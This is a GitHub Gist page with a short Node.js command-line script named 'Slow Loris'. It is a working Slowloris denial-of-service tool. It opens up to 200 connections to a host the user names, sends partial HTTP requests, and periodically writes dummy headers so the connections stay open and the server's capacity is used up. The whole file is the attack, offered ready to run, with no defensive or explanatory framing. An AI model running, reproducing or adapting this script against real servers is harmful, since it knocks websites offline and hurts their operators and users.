Last active
November 7, 2019 13:56
-
-
Save LevitatingBusinessMan/e99ee00b0fe779020d12d5faa3ac7d4f to your computer and use it in GitHub Desktop.
Slow Loris
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/node | |
| const program = require("commander"); | |
| const net = require("net"); | |
| let host; | |
| program | |
| .usage("[options] <host>") | |
| .arguments("<host>") | |
| .option("-p, --port <port>", "specify port") | |
| .option("-c, --connections <amount>", "number of connections to maintain") | |
| .option("-t, --timeout <seconds>", "seconds before connections get updated") | |
| .action(host_ => { | |
| host = host_; | |
| }) | |
| .parse(process.argv); | |
| if (!host) { | |
| console.log("Please specify a target."); | |
| process.exit(1); | |
| } | |
| const maxConnections = program.connections || 200; | |
| const port = program.port || 80; | |
| const timeout = program.timeout || 30; | |
| let connections = new Map(); | |
| connections.lastKey = -1; | |
| for (let i = 0; i < maxConnections; i++) | |
| createConnection(); | |
| function createConnection() { | |
| if (connections.size >= maxConnections) | |
| return; | |
| const client = net.createConnection({port,host}, () => { | |
| console.log(`Making new connection: ${connections.size + 1}`) | |
| const id = connections.lastKey++; | |
| const d = new Date(); | |
| client.write(`GET / HTTP/1.1\r\nHost: ${host}\r\n`); | |
| client.on('error', end); | |
| client.on('end', () => console.log(`Connection ended after ${(new Date().getTime() - d.getTime())/1000}s`)) | |
| function end () { | |
| connections.delete(id); | |
| createConnection(); | |
| client.end(); | |
| } | |
| connections.set(id,client); | |
| }) | |
| } | |
| setInterval(() => connections.forEach( client => client.write("X-a: r\r\n")), timeout*1000) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment